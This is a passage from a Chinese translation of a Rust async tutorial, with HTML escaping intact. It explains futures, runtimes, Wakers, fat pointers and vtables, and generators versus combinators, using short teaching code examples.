#![allow(unused_variables)]
fn main() {
&amp;#x2F;&amp;#x2F; Non-leaf-future
let non_leaf = async {
    let mut stream = TcpStream::connect(&amp;quot;127.0.0.1:3000&amp;quot;).await.unwrap();&amp;#x2F;&amp;#x2F; &amp;lt;- yield
    println!(&amp;quot;connected!&amp;quot;);
    let result = stream.write(b&amp;quot;hello world\n&amp;quot;).await; &amp;#x2F;&amp;#x2F; &amp;lt;- yield
    println!(&amp;quot;message sent!&amp;quot;);
    ...
};
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这些任务的关键是，它们能够将控制权交给运行时的调度程序，然后在稍后停止的地方继续执行。 与&lt;code&gt;leaf-future&lt;&#x2F;code&gt;相比，这些Future本身并不代表I&#x2F;O资源。 当我们对这些Future进行轮询时, 有可能会运行一段时间或者因为等待相关资源而让度给调度器,然后等待相关资源ready的时候唤醒自己.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;yun-xing-shi-runtimes&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;1_futures_in_rust.html#%E8%BF%90%E8%A1%8C%E6%97%B6runtimes&quot;&gt;运行时(Runtimes)&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;像 c # ，JavaScript，Java，GO 和许多其他语言都有一个处理并发的运行时。 所以如果你来自这些语言中的一种，这对你来说可能会有点奇怪。&lt;&#x2F;p&gt;
&lt;p&gt;Rust 与这些语言的不同之处在于 Rust 没有处理并发性的运行时，因此您需要使用一个为您提供此功能的库。&lt;&#x2F;p&gt;
&lt;p&gt;很多复杂性归因于 Futures 实际上是来源于运行时的复杂性，创建一个有效的运行时是困难的。 学习如何正确使用一个也需要相当多的努力，但是你会看到这些类型的运行时之间有几个相似之处，所以学习一个可以使学习下一个更容易。&lt;&#x2F;p&gt;
&lt;p&gt;Rust 和其他语言的区别在于，在选择运行时时，您必须进行主动选择。大多数情况下，在其他语言中，你只会使用提供给你的那一种。&lt;&#x2F;p&gt;
&lt;p&gt;异步运行时可以分为两部分:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;执行器(The Executor)&lt;&#x2F;li&gt;
&lt;li&gt;reactor (The Reactor)&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;当 Rusts Futures 被设计出来的时候，有一个愿望，那就是将通知&lt;code&gt;Future&lt;&#x2F;code&gt;它可以做更多工作的工作与&lt;code&gt;Future&lt;&#x2F;code&gt;实际做工作分开。&lt;&#x2F;p&gt;
&lt;p&gt;你可以认为前者是reactor的工作，后者是执行器的工作。 运行时的这两个部分使用 &lt;code&gt;Waker&lt;&#x2F;code&gt;进行交互。&lt;&#x2F;p&gt;
&lt;p&gt;写这篇文章的时候，未来最受欢迎的两个运行时是:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;async-rs&#x2F;async-std&quot;&gt;async-std&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;tokio-rs&#x2F;tokio&quot;&gt;Tokio&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;rust-de-biao-zhun-ku-zuo-liao-shen-me&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;1_futures_in_rust.html#rust-%E7%9A%84%E6%A0%87%E5%87%86%E5%BA%93%E5%81%9A%E4%BA%86%E4%BB%80%E4%B9%88&quot;&gt;Rust 的标准库做了什么&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;一个公共接口，&lt;code&gt;Future trait&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;一个符合人体工程学的方法创建任务, 可以通过async和await关键字进行暂停和恢复&lt;code&gt;Future&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Waker&lt;&#x2F;code&gt;接口, 可以唤醒暂停的&lt;code&gt;Future&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;这就是Rust标准库所做的。 正如你所看到的，不包括异步I&#x2F;O的定义,这些异步任务是如何被创建的,如何运行的。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;i-omi-ji-xing-vs-cpumi-ji-xing-ren-wu&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;1_futures_in_rust.html#io%E5%AF%86%E9%9B%86%E5%9E%8B-vs-cpu%E5%AF%86%E9%9B%86%E5%9E%8B%E4%BB%BB%E5%8A%A1&quot;&gt;I&#x2F;O密集型 VS CPU密集型任务&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;正如你们现在所知道的，你们通常所写的是&lt;code&gt;Non-leaf-futures&lt;&#x2F;code&gt;。 让我们以 pseudo-rust 为例来看一下这个异步块:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused_variables)]
fn main() {
let non_leaf = async {
    let mut stream = TcpStream::connect(&amp;quot;127.0.0.1:3000&amp;quot;).await.unwrap(); &amp;#x2F;&amp;#x2F; &amp;lt;-- yield

    &amp;#x2F;&amp;#x2F; request a large dataset
    let result = stream.write(get_dataset_request).await.unwrap(); &amp;#x2F;&amp;#x2F; &amp;lt;-- yield

    &amp;#x2F;&amp;#x2F; wait for the dataset
    let mut response = vec![];
    stream.read(&amp;amp;mut response).await.unwrap(); &amp;#x2F;&amp;#x2F; &amp;lt;-- yield

    &amp;#x2F;&amp;#x2F; do some CPU-intensive analysis on the dataset
    let report = analyzer::analyze_data(response).unwrap();

    &amp;#x2F;&amp;#x2F; send the results back
    stream.write(report).await.unwrap(); &amp;#x2F;&amp;#x2F; &amp;lt;-- yield
};

}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在，正如您将看到的，当我们介绍 Futures 的工作原理时，两个&lt;code&gt;yield&lt;&#x2F;code&gt;之间的代码与我们的执行器在同一个线程上运行。&lt;&#x2F;p&gt;
&lt;p&gt;这意味着当我们分析器处理数据集时，执行器忙于计算而不是处理新的请求。&lt;&#x2F;p&gt;
&lt;p&gt;幸运的是，有几种方法可以解决这个问题，这并不困难，但是你必须意识到:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;我们可以创建一个新的&lt;code&gt;leaf future&lt;&#x2F;code&gt;，它将我们的任务发送到另一个线程，并在任务完成时解析。 我们可以像等待其他Future一样等待这个&lt;code&gt;leaf-future&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;运行时可以有某种类型的管理程序来监视不同的任务占用多少时间，并将执行器本身移动到不同的线程，这样即使我们的分析程序任务阻塞了原始的执行程序线程，它也可以继续运行。&lt;&#x2F;li&gt;
&lt;li&gt;您可以自己创建一个与运行时兼容的&lt;code&gt;reactor&lt;&#x2F;code&gt;，以您认为合适的任何方式进行分析，并返回一个可以等待的未来。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;现在，#1是通常的处理方式，但是一些执行器也实现了#2。 2的问题是，如果你切换运行时，你需要确保它也支持这种监督，否则你最终会阻塞执行者。&lt;&#x2F;p&gt;
&lt;p&gt;方式#3更多的是理论上的重要性，通常您会很乐意将任务发送到多数运行时提供的线程池。&lt;&#x2F;p&gt;
&lt;p&gt;大多数执行器都可以使用诸如 spawn blocking 之类的方法来完成#1。&lt;&#x2F;p&gt;
&lt;p&gt;这些方法将任务发送到运行时创建的线程池，在该线程池中，您可以执行 cpu 密集型任务，也可以执行运行时不支持的“阻塞”任务。&lt;&#x2F;p&gt;
&lt;p&gt;现在，有了这些知识，你已经在一个很好的方式来理解&lt;code&gt;Future&lt;&#x2F;code&gt;，但我们不会停止，有很多细节需要讨论。&lt;&#x2F;p&gt;
&lt;p&gt;休息一下或喝杯咖啡，准备好我们进入下一章的深度探索。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;jiang-li-bu-fen&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;1_futures_in_rust.html#%E5%A5%96%E5%8A%B1%E9%83%A8%E5%88%86&quot;&gt;奖励部分&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;如果你发现并发和异步编程的概念一般来说令人困惑，我知道你是从哪里来的，我已经写了一些资源，试图给出一个高层次的概述，这将使之后更容易学习 Rusts Futures:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cfsamson.github.io&#x2F;book-exploring-async-basics&#x2F;1_concurrent_vs_parallel.html&quot;&gt;Async Basics - The difference between concurrency and parallelism 异步基础-并发和并行之间的区别&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cfsamson.github.io&#x2F;book-exploring-async-basics&#x2F;2_async_history.html&quot;&gt;Async Basics - Async history 异步基础-异步历史&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cfsamson.github.io&#x2F;book-exploring-async-basics&#x2F;5_strategies_for_handling_io.html&quot;&gt;Async Basics - Strategies for handling I&#x2F;O 异步基础-处理 i &#x2F; o 的策略&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cfsamson.github.io&#x2F;book-exploring-async-basics&#x2F;6_epoll_kqueue_iocp.html&quot;&gt;Async Basics - Epoll, Kqueue and IOCP 异步基础-Epoll，Kqueue 和 IOCP&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;通过研究&lt;code&gt;Future&lt;&#x2F;code&gt;来学习这些概念会让它变得比实际需要难得多，所以如果你有点不确定的话，继续读这些章节。&lt;&#x2F;p&gt;
&lt;p&gt;你回来的时候我就在这儿。&lt;&#x2F;p&gt;
&lt;p&gt;如果你觉得你已经掌握了基本知识，那么让我们开始行动吧！&lt;&#x2F;p&gt;
&lt;h4 id=&quot;gai-shu-1&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;2_waker_context.html#%E6%A6%82%E8%BF%B0&quot;&gt;概述&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;了解 Waker 对象是如何构造的&lt;&#x2F;li&gt;
&lt;li&gt;了解运行时如何知道&lt;code&gt;leaf-future&lt;&#x2F;code&gt;何时可以恢复&lt;&#x2F;li&gt;
&lt;li&gt;了解动态分发的基础知识和trait对象&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;code&gt;Waker&lt;&#x2F;code&gt;类型在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rfcs&#x2F;blob&#x2F;master&#x2F;text&#x2F;2592-futures.md#waking-up&quot;&gt;RFC#2592&lt;&#x2F;a&gt;中介绍.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;huan-xing-qi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;2_waker_context.html#%E5%94%A4%E9%86%92%E5%99%A8&quot;&gt;唤醒器&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;code&gt;Waker&lt;&#x2F;code&gt;类型允许在运行时的reactor 部分和执行器部分之间进行松散耦合。&lt;&#x2F;p&gt;
&lt;p&gt;通过使用不与&lt;code&gt;Future&lt;&#x2F;code&gt;执行绑定的唤醒机制，运行时实现者可以提出有趣的新唤醒机制。 例如，可以生成一个线程来执行一些工作，这些工作结束时通知&lt;code&gt;Future&lt;&#x2F;code&gt;，这完全独立于当前的运行时。&lt;&#x2F;p&gt;
&lt;p&gt;如果没有唤醒程序，执行程序将是通知正在运行的任务的唯一方式，而使用唤醒程序，我们将得到一个松散耦合，其中很容易使用新的&lt;code&gt;leaf-future&lt;&#x2F;code&gt;来扩展生态系统。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果你想了解更多关于 Waker 类型背后的原因，我可以推荐&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;boats.gitlab.io&#x2F;blog&#x2F;post&#x2F;wakers-i&#x2F;&quot;&gt;Withoutboats articles series about them&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;li-jie-huan-xing-qi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;2_waker_context.html#%E7%90%86%E8%A7%A3%E5%94%A4%E9%86%92%E5%99%A8&quot;&gt;理解唤醒器&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;在实现我们自己的&lt;code&gt;Future&lt;&#x2F;code&gt;时，我们遇到的最令人困惑的事情之一就是我们如何实现一个唤醒器。 创建一个 Waker 需要创建一个 vtable，这个vtable允许我们使用动态方式调用我们真实的Waker实现.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果你想知道更多关于Rust中的动态分发，我可以推荐 Adam Schwalm 写的一篇文章 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alschwalm.com&#x2F;blog&#x2F;static&#x2F;2017&#x2F;03&#x2F;07&#x2F;exploring-dynamic-dispatch-in-rust&#x2F;&quot;&gt;Exploring Dynamic Dispatch in Rust&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;让我们更详细地解释一下。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;rustzhong-de-pang-zhi-zhen&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;2_waker_context.html#rust%E4%B8%AD%E7%9A%84%E8%83%96%E6%8C%87%E9%92%88&quot;&gt;Rust中的胖指针&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;为了更好地理解我们如何在 Rust 中实现 Waker，我们需要退后一步并讨论一些基本原理。 让我们首先看看 Rust 中一些不同指针类型的大小。&lt;&#x2F;p&gt;
&lt;p&gt;运行以下代码:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;trait SomeTrait { }

fn main() {
    println!(&amp;quot;======== The size of different pointers in Rust: ========&amp;quot;);
    println!(&amp;quot;&amp;amp;dyn Trait:-----{}&amp;quot;, size_of::&amp;lt;&amp;amp;dyn SomeTrait&amp;gt;());
    println!(&amp;quot;&amp;amp;[&amp;amp;dyn Trait]:--{}&amp;quot;, size_of::&amp;lt;&amp;amp;[&amp;amp;dyn SomeTrait]&amp;gt;());
    println!(&amp;quot;Box&amp;lt;Trait&amp;gt;:-----{}&amp;quot;, size_of::&amp;lt;Box&amp;lt;SomeTrait&amp;gt;&amp;gt;());
    println!(&amp;quot;&amp;amp;i32:-----------{}&amp;quot;, size_of::&amp;lt;&amp;amp;i32&amp;gt;());
    println!(&amp;quot;&amp;amp;[i32]:---------{}&amp;quot;, size_of::&amp;lt;&amp;amp;[i32]&amp;gt;());
    println!(&amp;quot;Box&amp;lt;i32&amp;gt;:-------{}&amp;quot;, size_of::&amp;lt;Box&amp;lt;i32&amp;gt;&amp;gt;());
    println!(&amp;quot;&amp;amp;Box&amp;lt;i32&amp;gt;:------{}&amp;quot;, size_of::&amp;lt;&amp;amp;Box&amp;lt;i32&amp;gt;&amp;gt;());
    println!(&amp;quot;[&amp;amp;dyn Trait;4]:-{}&amp;quot;, size_of::&amp;lt;[&amp;amp;dyn SomeTrait; 4]&amp;gt;());
    println!(&amp;quot;[i32;4]:--------{}&amp;quot;, size_of::&amp;lt;[i32; 4]&amp;gt;());
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从运行后的输出中可以看到，引用的大小是不同的。 许多是8字节(在64位系统中是指针大小) ，但有些是16字节。&lt;&#x2F;p&gt;
&lt;p&gt;16字节大小的指针被称为“胖指针” ，因为它们携带额外的信息。&lt;&#x2F;p&gt;
&lt;p&gt;例如 &lt;code&gt;&amp;amp;[i32]&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;前8个字节是指向数组中第一个元素的实际指针(或 slice 引用的数组的一部分)&lt;&#x2F;li&gt;
&lt;li&gt;第二个8字节是切片的长度&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;例如  &lt;code&gt;&amp;amp;dyn SomeTrait&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;p&gt;这就是我们将要关注的胖指针的类型。&lt;code&gt;&amp;amp;dyn SomeTrait&lt;&#x2F;code&gt; 是一个trait的引用，或者 Rust称之为一个trait对象。&lt;&#x2F;p&gt;
&lt;p&gt;指向 trait 对象的指针布局如下:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;前8个字节指向trait 对象的data&lt;&#x2F;li&gt;
&lt;li&gt;后八个字节指向trait对象的 vtable&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这样做的好处是，我们可以引用一个对象，除了它实现了 trait 定义的方法之外，我们对这个对象一无所知。 为了达到这个目的，我们使用动态分发。&lt;&#x2F;p&gt;
&lt;p&gt;让我们用代码而不是文字来解释这一点，通过这些部分来实现我们自己的 trait 对象:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; A reference to a trait object is a fat pointer: (data_ptr, vtable_ptr)
trait Test {
    fn add(&amp;amp;self) -&amp;gt; i32;
    fn sub(&amp;amp;self) -&amp;gt; i32;
    fn mul(&amp;amp;self) -&amp;gt; i32;
}

&amp;#x2F;&amp;#x2F; This will represent our home brewn fat pointer to a trait object
   #[repr(C)]
struct FatPointer&amp;lt;&amp;#x27;a&amp;gt; {
    &amp;#x2F;&amp;#x2F;&amp;#x2F; A reference is a pointer to an instantiated `Data` instance
    data: &amp;amp;&amp;#x27;a mut Data,
    &amp;#x2F;&amp;#x2F;&amp;#x2F; Since we need to pass in literal values like length and alignment it&amp;#x27;s
    &amp;#x2F;&amp;#x2F;&amp;#x2F; easiest for us to convert pointers to usize-integers instead of the other way around.
    vtable: *const usize,
}

&amp;#x2F;&amp;#x2F; This is the data in our trait object. It&amp;#x27;s just two numbers we want to operate on.
struct Data {
    a: i32,
    b: i32,
}

&amp;#x2F;&amp;#x2F; ====== function definitions ======
fn add(s: &amp;amp;Data) -&amp;gt; i32 {
    s.a + s.b
}
fn sub(s: &amp;amp;Data) -&amp;gt; i32 {
    s.a - s.b
}
fn mul(s: &amp;amp;Data) -&amp;gt; i32 {
    s.a * s.b
}

fn main() {
    let mut data = Data {a: 3, b: 2};
    &amp;#x2F;&amp;#x2F; vtable is like special purpose array of pointer-length types with a fixed
    &amp;#x2F;&amp;#x2F; format where the three first values has a special meaning like the
    &amp;#x2F;&amp;#x2F; length of the array is encoded in the array itself as the second value.
    let vtable = vec![
        0,            &amp;#x2F;&amp;#x2F; pointer to `Drop` (which we&amp;#x27;re not implementing here)
        6,            &amp;#x2F;&amp;#x2F; lenght of vtable
        8,            &amp;#x2F;&amp;#x2F; alignment

        &amp;#x2F;&amp;#x2F; we need to make sure we add these in the same order as defined in the Trait.
        add as usize, &amp;#x2F;&amp;#x2F; function pointer - try changing the order of `add`
        sub as usize, &amp;#x2F;&amp;#x2F; function pointer - and `sub` to see what happens
        mul as usize, &amp;#x2F;&amp;#x2F; function pointer
    ];

    let fat_pointer = FatPointer { data: &amp;amp;mut data, vtable: vtable.as_ptr()};
    let test = unsafe { std::mem::transmute::&amp;lt;FatPointer, &amp;amp;dyn Test&amp;gt;(fat_pointer) };

    &amp;#x2F;&amp;#x2F; And voalá, it&amp;#x27;s now a trait object we can call methods on
    println!(&amp;quot;Add: 3 + 2 = {}&amp;quot;, test.add());
    println!(&amp;quot;Sub: 3 - 2 = {}&amp;quot;, test.sub());
    println!(&amp;quot;Mul: 3 * 2 = {}&amp;quot;, test.mul());
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;稍后，当我们实现我们自己的 Waker 时，我们实际上会像这里一样建立一个 vtable。 我们创造它的方式略有不同，但是现在你知道了规则特征对象是如何工作的，你可能会认识到我们在做什么，这使得它不那么神秘。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;jiang-li-bu-fen-1&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;2_waker_context.html#%E5%A5%96%E5%8A%B1%E9%83%A8%E5%88%86&quot;&gt;奖励部分&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;您可能想知道为什么Waker是这样实现的，而不仅仅是作为一个普通的trait.&lt;&#x2F;p&gt;
&lt;p&gt;原因在于灵活性。 以这里的方式实现 Waker，可以很灵活地选择要使用的内存管理方案。&lt;&#x2F;p&gt;
&lt;p&gt;“正常”的方法是使用 Arc 来使用引用计数来跟踪 Waker 对象何时可以被删除。 但是，这不是唯一的方法，您还可以使用纯粹的全局函数和状态，或者任何其他您希望的方法。&lt;&#x2F;p&gt;
&lt;p&gt;这在表中为运行时实现者留下了许多选项。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;gai-shu-2&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;3_generators_async_await.html#%E6%A6%82%E8%BF%B0&quot;&gt;概述&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;理解 async &#x2F; await 语法在底层是如何工作的&lt;&#x2F;li&gt;
&lt;li&gt;亲眼目睹(See first hand)我们为什么需要Pin&lt;&#x2F;li&gt;
&lt;li&gt;理解是什么让 Rusts 异步模型的内存效率非常高&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;生成器的动机可以在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rfcs&#x2F;blob&#x2F;master&#x2F;text&#x2F;2033-experimental-coroutines.md&quot;&gt;RFC#2033&lt;&#x2F;a&gt;中找到。 它写得非常好，我建议您通读它(它谈论async&#x2F;await的内容和谈论生成器的内容一样多)。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;wei-shen-me-yao-xue-xi-sheng-cheng-qi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;3_generators_async_await.html#%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A6%81%E5%AD%A6%E4%B9%A0%E7%94%9F%E6%88%90%E5%99%A8&quot;&gt;为什么要学习生成器&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;generators&#x2F;yield和 async&#x2F;await 非常相似，一旦理解了其中一个，就应该能够理解另一个。&lt;&#x2F;p&gt;
&lt;p&gt;对我来说，使用Generators而不是 Futures 来提供可运行的和简短的示例要容易得多，这需要我们现在引入很多概念，稍后我们将介绍这些概念，以便展示示例。&lt;&#x2F;p&gt;
&lt;p&gt;Async&#x2F;await 的工作方式类似于生成器，但它不返回生成器，而是返回一个实现 Future trait 的特殊对象。&lt;&#x2F;p&gt;
&lt;p&gt;一个小小的好处是，在本章的最后，你将有一个很好的关于生成器和 async &#x2F; await 的介绍。&lt;&#x2F;p&gt;
&lt;p&gt;基本上，在设计 Rust 如何处理并发时，主要讨论了三个选项:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Green Thread.&lt;&#x2F;li&gt;
&lt;li&gt;使用组合符(Using combinators.)&lt;&#x2F;li&gt;
&lt;li&gt;Generator, 没有专门的栈&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;我们在背景信息中覆盖了绿色线程，所以我们不会在这里重复。 我们将集中在各种各样的无堆栈协同程序,这也就是Rust正在使用的.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;zu-he-zi-combinators&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;3_generators_async_await.html#%E7%BB%84%E5%90%88%E5%AD%90combinators&quot;&gt;组合子(Combinators)&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;在&lt;code&gt;Futures 0.1&lt;&#x2F;code&gt;中使用组合子.如果你曾经是用过Javascript中的&lt;code&gt;Promises&lt;&#x2F;code&gt;,那么你已经比较熟悉combinators了. 在Rust中,他们看起来如下:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused_variables)]
fn main() {
let future = Connection::connect(conn_str).and_then(|conn| {
    conn.query(&amp;quot;somerequest&amp;quot;).map(|row|{
        SomeStruct::from(row)
    }).collect::&amp;lt;Vec&amp;lt;SomeStruct&amp;gt;&amp;gt;()
});

let rows: Result&amp;lt;Vec&amp;lt;SomeStruct&amp;gt;, SomeLibraryError&amp;gt; = block_on(future);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用这个技巧主要有三个缺点:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;错误消息可能会冗长并且难懂&lt;&#x2F;li&gt;
&lt;li&gt;不是最佳的内存使用(浪费内存)&lt;&#x2F;li&gt;
&lt;li&gt;Rust中不允许跨组合子借用.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;其中第三点是这种方式的主要缺点.&lt;&#x2F;p&gt;
&lt;p&gt;不允许跨组合子借用，结果是非常不符合人体工程学的.为了完成某些任务，需要额外的内存分配或者复制，这很低效。&lt;&#x2F;p&gt;
&lt;p&gt;内存占用高的原因是，这基本上是一种基于回调的方法，其中每个闭包存储计算所需的所有数据。 这意味着，随着我们将它们链接起来，存储所需状态所需的内存会随着每一步的增加而增加。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;wu-zhan-xie-cheng-sheng-cheng-qi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;3_generators_async_await.html#%E6%97%A0%E6%A0%88%E5%8D%8F%E7%A8%8B%E7%94%9F%E6%88%90%E5%99%A8&quot;&gt;无栈协程&#x2F;生成器&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;这就是今天 Rust 使用的模型，它有几个显著的优点:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;使用 async&#x2F;await 作为关键字，可以很容易地将普通的Rust代码转换为无堆栈的协程(甚至可以使用宏来完成)&lt;&#x2F;li&gt;
&lt;li&gt;不需要上下文切换与保存恢复CPU状态&lt;&#x2F;li&gt;
&lt;li&gt;不需要处理的动态栈分配&lt;&#x2F;li&gt;
&lt;li&gt;内存效率高&lt;&#x2F;li&gt;
&lt;li&gt;允许我们块暂停点(suspension)借用 &lt;strong&gt;这是啥意思啊&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;与Futures 0.1不一样，使用async&#x2F; await 我们可以这样做:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused_variables)]
fn main() {
async fn myfn() {
    let text = String::from(&amp;quot;Hello world&amp;quot;);
    let borrowed = &amp;amp;text[0..5];
    somefuture.await;
    println!(&amp;quot;{}&amp;quot;, borrowed);
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Rust中的异步使用生成器实现.  因此为了理解异步是如何工作的，我们首先需要理解生成器。 在Rust中，生成器被实现为状态机。&lt;&#x2F;p&gt;
&lt;p&gt;一个计算链的内存占用是由占用空间最大的那个步骤定义的。&lt;&#x2F;p&gt;
&lt;p&gt;这意味着在计算链中添加步骤可能根本不需要增加任何内存，这也是为什么Futures和 Async 在 Rust 中的开销很小的原因之一。&lt;&#x2F;p&gt;
